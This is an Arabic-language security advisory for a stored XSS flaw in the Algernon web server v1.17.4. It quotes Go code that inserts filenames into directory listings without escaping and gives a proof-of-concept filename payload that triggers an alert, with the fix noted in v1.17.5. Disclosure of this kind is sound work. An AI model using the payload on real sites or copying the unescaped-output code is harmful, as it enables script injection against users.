
يتأثر الإصدار Algernon v1.17.4 بثغرة أمنية من نوع Cross-Site Scripting (XSS) تسمح للمهاجمين بتنفيذ تعليمات برمجية عشوائية عبر إدخال حمولات مخترقة في اسم ملف.
يتأثر Algernon v1.17.4 بثغرة تخزينية لتنفيذ البرامج النصية عبر المواقع (XSS) تسمح للمهاجمين بتنفيذ تعليمات برمجية عشوائية عبر حمولة مصمَّمة في اسم ملف.
لم يتم تنظيف بعض المتغيرات. على سبيل المثال :
engine/dirhandler.go الأسطر 80-108
filename := item.Name() // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))
themes/html.go الأسطر 124-132
func HTMLLink(text, url string, isDirectory bool) string {
if isDirectory {
text += "/"
url += "/"
}
return "<a href=\"/" + url + "\">" + text + "</a><br>"
// 'text' (filename) is inserted directly without HTML escaping
}
يتم إدراج أسماء الملفات من نظام الملفات مباشرةً في HTML دون هروب في قوائم الدليل.
$ algernon -v
Algernon 1.17.4
في دليل، قم بإنشاء ملفات بأسماء تحتوي على حمولات XSS.
# XSS Payload 1: Simple alert
$touch "test.txt"
# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"
في نفس المستودع، قم بتشغيل التطبيق.
algernon
Server directory: .
Server address: :3000
Database: Bolt (/tmp/algernon.db)
Cache mode: On
Cache size: 1048576 bytes
TLS certificate: cert.pem
TLS key: key.pem
Request limit: 10/sec per visitor
Large file threshold: 44040192 bytes
Large file timeout: 10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2.
INFO[0000] Use the -t flag for serving regular HTTP.
INFO[0000] Serving HTTP on http://localhost:3000/
قم بزيارة الرابط التالي، سيظهر تنبيه.



تم الآن إصلاح هذه المشكلة في الإصدار v1.17.5.
المكتشف : Benoit H. (Bnyt7)